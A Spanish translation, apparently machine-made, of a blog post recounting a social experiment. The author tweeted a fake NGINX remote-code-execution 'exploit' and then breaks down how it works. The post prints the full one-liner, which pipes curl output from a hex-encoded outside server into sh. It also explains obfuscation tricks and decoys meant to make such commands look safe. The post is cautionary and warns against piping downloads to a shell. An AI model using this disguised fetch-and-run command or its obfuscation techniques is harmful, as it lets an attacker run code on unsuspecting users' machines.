El éxito de un experimento social con un falso exploit para nginx

Nota. traducir: autor En la nota original, publicada el 1 de junio, se decidió realizar un experimento entre los interesados ​​en la seguridad de la información. Para ello preparó un exploit falso para una vulnerabilidad no revelada en el servidor web y lo publicó en su Twitter. Sus suposiciones - que serían inmediatamente expuestas por especialistas que verían el evidente engaño en el código - no sólo no se hicieron realidad... Superaron todas las expectativas, y en la dirección opuesta: el tweet recibió un gran apoyo de numerosas personas que no comprobar su contenido.

TL;DR: No utilice canalización de archivos en sh o bash bajo ninguna circunstancia. Esta es una excelente manera de perder el control de su computadora.

Quiero compartir con ustedes una breve historia sobre un exploit PoC cómico que se creó el 31 de mayo. Apareció puntualmente en respuesta a noticias de Alisa Esage Shevchenko, miembro Iniciativa de día cero (ZDI), pronto se divulgará información sobre una vulnerabilidad en NGINX que conduce a RCE (ejecución remota de código). Dado que NGINX impulsa muchos sitios web, la noticia debe haber sido una bomba. Pero debido a retrasos en el proceso de “divulgación responsable”, no se conocieron los detalles de lo sucedido: este es el procedimiento estándar de la ZDI.

Pío sobre la divulgación de vulnerabilidades en NGINX

Habiendo terminado de trabajar en una nueva técnica de ofuscación en curl, cité el tweet original y "filtré un PoC funcional" que consiste en una sola línea de código que supuestamente explota la vulnerabilidad descubierta. Por supuesto, esto era una completa tontería. Supuse que quedaría inmediatamente expuesto y que, en el mejor de los casos, recibiría un par de retuits (bueno).

Pío con exploit falso

Sin embargo, no podía imaginar lo que pasó después. La popularidad de mi tweet se disparó. Sorprendentemente, en este momento (15:00 hora de Moscú del 1 de junio) pocas personas se han dado cuenta de que se trata de una falsificación. Mucha gente lo retuitea sin comprobarlo en absoluto (y mucho menos admirar los encantadores gráficos ASCII que genera).

¡Mira qué hermoso es!

Si bien todos estos bucles y colores son geniales, está claro que la gente tuvo que ejecutar código en su máquina para verlos. Afortunadamente, los navegadores funcionan de la misma manera y, combinado con el hecho de que realmente no quería meterme en problemas legales, el código enterrado en mi sitio simplemente hacía llamadas de eco sin intentar instalar o ejecutar ningún código adicional.

Una pequeña digresión: netspooky, DNZ, yo y los otros chicos del equipo multitud de matones Hemos estado jugando con diferentes formas de ofuscar los comandos curl desde hace un tiempo porque es genial... y somos geeks. netspooky y dnz descubrieron varios métodos nuevos que me parecieron extremadamente prometedores. Me uní a la diversión e intenté agregar conversiones decimales de IP a la bolsa de trucos. Resulta que IP también se puede convertir a formato hexadecimal. Además, curl y la mayoría de las otras herramientas NIX comen felizmente IP hexadecimales. Así que sólo era cuestión de crear una línea de comando convincente y que pareciera segura. Al final me decidí por este:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Ingeniería socioelectrónica (SEE): más que simple phishing

La seguridad y la familiaridad fueron una parte importante de este experimento. Creo que son los que llevaron a su éxito. La línea de comando claramente implicaba seguridad al hacer referencia a "127.0.0.1" (el conocido localhost). Localhost se considera seguro y los datos que contiene nunca salen de su computadora.

La familiaridad fue el segundo componente clave del experimento. Dado que el público objetivo estaba formado principalmente por personas familiarizadas con los conceptos básicos de la seguridad informática, era importante crear código para que algunas partes parecieran familiares y familiares (y, por lo tanto, seguras). Tomar prestados elementos de viejos conceptos de exploits y combinarlos de una manera inusual ha demostrado ser muy exitoso.

A continuación se muestra un análisis detallado del chiste. Todo en esta lista usa naturaleza cosmética, y prácticamente no se requiere nada para su funcionamiento real.

¿Qué componentes son realmente necesarios? Este -gsS, -O 0x0238f06a, |sh y el propio servidor web. El servidor web no contenía instrucciones maliciosas, sino que simplemente mostraba gráficos ASCII mediante comandos. echo en el guión contenido en index.html. Cuando el usuario ingresó una línea con |sh en el centro, index.html cargado y ejecutado. Afortunadamente, los custodios del servidor web no tenían malas intenciones.

• ../../../%00 — representa ir más allá del directorio;
• ngx_stream_module.so — ruta a un módulo NGINX aleatorio;
• /bin/sh%00<'protocol:TCP' — supuestamente estamos lanzando /bin/sh en la máquina de destino y redirigir la salida al canal TCP;
• -O 0x0238f06a#PLToffset - ingrediente secreto, complementado #PLToffset, para que parezca un desplazamiento de memoria contenido de alguna manera en el PLT;
• |sh; - otro fragmento importante. Necesitábamos redirigir la salida a sh/bash para poder ejecutar el código proveniente del servidor web atacante ubicado en 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - un muñeco en el que netcat se refiere /dev/tcp/localhostpara que todo vuelva a parecer seguro. De hecho, no hace nada y está incluido en la línea de belleza.

Con esto concluye la decodificación del guión de una sola línea y la discusión de aspectos de la “ingeniería socioelectrónica” (phishing complejo).

Configuración del servidor web y contramedidas

Dado que la gran mayoría de mis suscriptores son infosec/hackers, decidí hacer que el servidor web sea un poco más resistente a las expresiones de "interés" de su parte, solo para que los chicos tuvieran algo que hacer (y sería divertido configuración). No voy a enumerar todos los errores aquí ya que el experimento aún está en curso, pero aquí hay algunas cosas que hace el servidor:

• Supervisa activamente los intentos de distribución en determinadas redes sociales y sustituye varias miniaturas de vista previa para animar al usuario a hacer clic en el enlace.
• Redirige Chrome/Mozilla/Safari/etc al vídeo promocional de Thugcrowd en lugar de mostrar el script de shell.
• Busca signos OBVIOS de intrusión/piratería flagrante y luego comienza a redirigir las solicitudes a los servidores de la NSA (¡ja!).
• Instala un troyano, así como un rootkit de BIOS, en todas las computadoras cuyos usuarios visitan el host desde un navegador normal (¡es broma!).

Una pequeña parte de los antímeros.

En este caso, mi único objetivo era dominar algunas de las características de Apache, en particular, las reglas interesantes para redirigir solicitudes, y pensé: ¿por qué no?

Explotación NGINX (¡real!)

Suscribirse a las @alisaesage en Twitter y siga el gran trabajo de ZDI para abordar vulnerabilidades muy reales y explotar oportunidades en NGINX. Su trabajo siempre me ha fascinado y agradezco a Alice por su paciencia con todas las menciones y notificaciones que provocó mi estúpido tweet. Afortunadamente, también sirvió para algo: ayudó a crear conciencia sobre las vulnerabilidades de NGINX, así como sobre los problemas causados ​​por el abuso de curl.

Fuente: habr.com